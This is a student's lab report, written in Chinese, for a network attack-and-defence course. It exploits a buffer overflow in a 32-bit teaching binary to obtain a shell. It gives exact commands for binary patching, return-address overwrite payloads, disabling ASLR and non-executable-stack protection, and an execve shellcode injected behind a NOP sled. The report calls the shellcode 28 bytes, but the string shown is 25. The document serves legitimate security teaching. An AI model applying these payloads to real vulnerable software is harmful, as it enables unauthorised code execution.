20242318 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242318 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1. 基础知识
这次实验主要是在Kali Linux上对一个32位的程序做缓冲区溢出攻击,用到的知识大概有这么几块:
(1)ELF可执行文件格式和x86汇编基础。 实验用的pwn1是32位的ELF可执行文件,里面有三个函数:getShell、foo、main。汇编指令在机器里就是对应的字节码,比如NOP空操作是0x90,JNE、JMP这类跳转指令是特定的操作码再加偏移量。只有搞懂指令和机器码的对应关系,才能直接改二进制文件里的字节,让程序按我们想要的方向跑。
(2)反汇编和十六进制编辑工具。 objdump是Linux下常用的反汇编工具,用objdump -d可以把程序反汇编成汇编代码,看到每个函数的地址和指令对应的机器码。vim配合xxd命令可以进入十六进制编辑模式,直接看、搜、改二进制文件里的字节内容,相当于一个十六进制编辑器。
(3)函数调用栈和缓冲区溢出原理。 C程序运行时,每次函数调用都会在栈上压一个返回地址(就是call指令下一条指令的地址),函数里用栈帧保存局部变量。像gets、strcpy这种不检查长度的函数,往缓冲区里写的数据一旦超过缓冲区容量,多余的数据就会往上盖掉栈上保存的ebp和返回地址。只要输入是精心构造的,把返回地址覆盖成getShell或者shellcode的地址,函数一返回,程序就跳到我们指定的地方去执行了。这就是缓冲区溢出。
(4)x86小端序。 x86是小端存储,多字节数据低位字节放在低地址。所以往payload里写地址的时候,要把地址按字节倒过来,比如0x0804847d要写成\x7d\x84\x04\x08。
(5)shellcode和NOP雪橇。 shellcode就是攻击者塞进程序里的一段机器码,这次用的是32位Linux下执行execve("/bin/sh")的代码,一共28字节。NOP雪橇是一大片0x90(也就是NOP指令),只要程序跳到雪橇上任意位置,就会顺着NOP一路滑下去,最后执行到shellcode,用来容忍跳转地址差那么几个字节。
(6)系统的防护机制。 ASLR(地址空间布局随机化)会让栈地址每次运行都不一样,实验里要先关掉它让地址固定;NX(栈不可执行)保护不允许在栈上执行代码,实验里用setarch命令临时关掉。理解了这些,才知道实验前后为什么要做那些配置。
2. 实验内容
方案简介: 实验针对pwn1这个存在缓冲区溢出漏洞的32位程序,做了三个层层递进的任务,最后都达到了劫持程序执行流程、拿到shell的目的:
- 任务一(改二进制): 用objdump反汇编找到getShell函数的地址,再用vim+xxd十六进制编辑器改main函数里call指令的偏移量,让程序不再调foo而是直接跳去执行getShell,顺便练一下机器码和十六进制编辑器的使用。
- 任务二(溢出调用自带的getShell): 利用foo函数的缓冲区溢出漏洞,构造payload把栈上的返回地址覆盖成getShell的地址,用
(cat payload; cat) | 程序的方式触发溢出,跳转执行程序里自带的getShell。 - 任务三(注入自定义shellcode): 不靠程序里的函数,自己写一段执行execve("/bin/sh")的shellcode注入到栈里,先用gdb算出栈地址,再用NOP雪橇加shellcode构造完整payload,让程序跳到栈上执行我们的机器码拿到shell。
任务一里面还会顺带掌握NOP、CMP、JE、JNE、JMP这几个指令的机器码格式。
3. 实验过程
3.1 环境准备
实验用的Kali是64位的,而pwn1是32位程序,直接跑会报错。所以先开启i386架构支持、更新软件源,装上32位运行库libc6-i386,装完程序就能正常运行了。然后把pwn1复制一份用学号命名,加上执行权限:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6-i386 -y
cp pwn1 pwn_20242318
chmod +x pwn_20242318
ls -l

(图1-环境准备.png)

(图2-安装32位运行库.png)
图1是复制程序、加执行权限、查看文件信息的过程,文件名pwn_20242318带上了我的学号;图2是安装libc6-i386的过程,装完之后运行程序输入任意字符能正常回显,说明环境没问题了。
3.2 任务一:手工修改二进制文件
(1)反汇编,找call指令的机器码。 先用objdump反汇编,把main函数里调用foo那条指令的机器码找出来:
objdump -d pwn_* | sed -n '/<main>:/,/^$/p' | grep "call.*<foo>"

(图3-反汇编定位call指令.png)
图3里能看到main调用foo的那条指令:80484b5: e8 d7 ff ff ff call 8048491 <foo>,其中e8是call指令的操作码,后面d7 ff ff ff是相对偏移,这个就是后面要改的地方。
(2)查getShell地址。 再用objdump确认getShell函数的起始地址:
objdump -d pwn_20242318 | grep "<getShell>:"
得到getShell的地址是0x0804847d。
(3)复制副本、用vim+xxd改机器码。 为了不动原文件,先复制一份带学号的副本,用vim打开后执行:%!xxd -g1进入单字节十六进制模式,搜索e8 d7 ff ff ff定位到那条call指令。getShell和foo的相对偏移关系,让调用getShell需要的偏移正好是c3,所以把d7改成c3,再执行:%!xxd -r转回二进制保存退出:
cp pwn_20242318 pwn_mod_20242318
chmod +x pwn_mod_20242318
vim pwn_mod_20242318 # 进入后 %!xxd -g1,改完 %!xxd -r 再 :wq
(4)运行验证。 运行修改后的程序,不再回显输入,而是直接冒出来一个shell提示符,说明程序执行流程已经被劫持到getShell了:
./pwn_mod_20242318

(图4-任务一修改二进制.png)
图4是从反汇编查地址、复制副本,到修改完运行直接出现$提示符的整个过程。
3.3 任务二:缓冲区溢出攻击(BoF)
(1)构造payload。 foo函数里gets往缓冲区写数据,栈上缓冲区加旧ebp一共占32字节,再往后就是返回地址。用perl生成payload:前32字节用'A'填满,后面4字节写上getShell地址的小端序\x7d\x84\x04\x08,这样溢出时返回地址正好被覆盖成getShell:
perl -e 'print "A"x32;print "\x7d\x84\x04\x08";' > payload_bof_20242318
(2)执行攻击。 用管道把payload喂给程序,后面再挂一个cat保持标准输入打开,这样溢出后拿到的shell还能继续输入命令:
(cat payload_bof_20242318; cat) | ./pwn_mod_20242318
执行后输入ls能正常列出桌面文件,说明返回地址被成功覆盖、程序跳到了getShell,拿到了可以执行系统命令的shell:

(图5-任务二BoF攻击.png)
3.4 任务三:注入自定义Shellcode
(1)关闭ASLR。 先关掉系统的地址随机化,让栈地址固定下来,后面才好在gdb里算出准确的跳转地址:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space # 输出0表示关掉了

(图6-关闭ASLR.png)
图6里能看到关闭后cat验证输出是0,不过这台机器gdb没装,终端里也提示了安装方法。
(2)gdb调试,确定跳转地址。 先装好gdb,用perl生成测试payload(32个A加4个B),在gdb里把断点下在foo函数的ret指令(0x080484ae)处,run的时候把test_stack作为输入传进去,程序停在ret时用info register esp看栈顶:
sudo apt install gdb -y
perl -e 'print "A"x32;print "BBBB";' > test_stack
gdb ./pwn_20242318

(图7-gdb调试获取esp地址.png)
图7里能看到esp的值是0xffffceec,这个地址上存的就是被我们覆盖的返回地址BBBB。shellcode放在返回地址后面,所以跳转地址 = esp + 4 = 0xffffcef0。
(3)构造完整payload。 payload结构是:32字节'A'填充 + 4字节跳转地址小端序 + 64字节NOP雪橇 + 28字节shellcode:
perl -e 'print "A"x32;print "\xf0\xce\xff\xff";print "\x90"x64;print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";' > payload_shell_20242318
(4)执行攻击。 用setarch关掉地址随机化和栈不可执行保护再运行:
(cat payload_shell_20242318; cat) | setarch i386 -R -L ./pwn_20242318
执行后输入ls能列出文件,说明注入的shellcode在栈上成功执行了,程序拿到了shell:

(图8-任务三Shellcode攻击.png)
3.5 汇编指令机器码对照验证
用objdump在程序反汇编结果里搜一下这些指令,能验证基础知识里说的机器码格式,比如NOP就是0x90,JNE短跳转是0x75加偏移:
objdump -d pwn_20242318 | grep -E "(cmp|je|jne|jmp|nop)" | head -20
4. 问题及解决方案
问题1:execstack装不上。 一开始按常规方法sudo apt install execstack想装栈可执行工具,结果提示找不到这个包,任务三原计划用execstack开启栈可执行就卡住了。

(图9-execstack安装失败.png)
问题1解决方案:查了一下,execstack是prelink包的附属工具,新版Kali的源里已经把prelink移除了,所以直接装不上。后来改用系统自带的setarch,运行程序时加-R -L参数,同时关掉地址随机化和栈不可执行保护,效果一样,任务三照样能完成。
问题2:xxd里搜不到要改的机器码。 在vim里用:%!xxd进入十六进制模式后,搜e8 d7 ff ff ff提示找不到,人有点懵。

(图10-xxd格式问题.png)
问题2解决方案:后来发现xxd默认是两字节一组显示的,字节之间没按单字节空格分开,和搜索的格式对不上。改用:%!xxd -g1单字节一组显示,再搜就一次定位到了call指令,顺利改掉偏移。
问题3:32位程序跑不起来。 直接执行pwn1提示无法执行二进制文件,因为64位系统里没有32位程序需要的运行库。
问题3解决方案:先sudo dpkg --add-architecture i386开启32位架构支持,更新源后装libc6-i386,程序就能正常运行了。
问题4:gdb没装。 执行gdb命令时提示Command 'gdb' not found,进不了调试界面,没法看栈地址。
问题4解决方案:按提示输入y自动安装,或者手动sudo apt install gdb -y,装完重新进gdb,用断点和info register esp成功拿到了栈地址。
问题5:任务二攻击成功但没有"bof success"提示,心里没底。 同学的截图里getShell有成功提示,我这台机器攻击后只有shell,什么提示都没有,一度怀疑是不是没成功。
问题5解决方案:反汇编看了下,这台机器编译的getShell函数实现就是直接返回shell,没有打印提示那一步,是不同编译版本源码差异造成的。实验成不成功就看能不能执行系统命令:攻击后输入ls能列出文件,返回地址确实被覆盖了,程序流也确实跳到了getShell,实验是成功的。
5. 学习感悟、思考等
这次实验让我第一次"看见"了程序运行背后的栈。以前学函数调用栈、返回地址都是书上的概念,等真在gdb里看到esp指向的位置存的就是被我们盖掉的返回地址时,才算明白缓冲区溢出为什么能控制程序——程序对栈上的数据一点防备都没有,往缓冲区多写的那几个字节,就是程序的命运开关。
过程其实不太顺。先是被32位运行库卡住,程序跑不起来;接着execstack又装不上只能临时换setarch;任务三还栽在xxd的显示格式上,光这个就折腾了一会儿。但这些报错反而教会我一件事:遇到问题先读报错,想清楚是工具问题、环境问题还是操作问题,比瞎试、比照着网上命令无脑抄有用得多。比如xxd那个,搞明白显示格式和搜索格式的关系,一眼就看穿原因了。
最有感触的是,安全这个东西是"打"出来的。一个不检查长度的gets,配上精心构造的payload,就能变成控制程序的入口;而ASLR、NX这些防护,每一项都是跟攻击者来回过招逼出来的。作为网安专业的学生,既要懂"攻"的原理,更要养成"防"的习惯——写代码时检查缓冲区边界、编译时开-fstack-protector这类安全选项、部署时把系统防护机制配好,这些以后都是基本功。这次实验也让我对二进制和漏洞利用提起了兴趣,后面想接着往汇编和系统底层再钻一钻。

浙公网安备 33010602011771号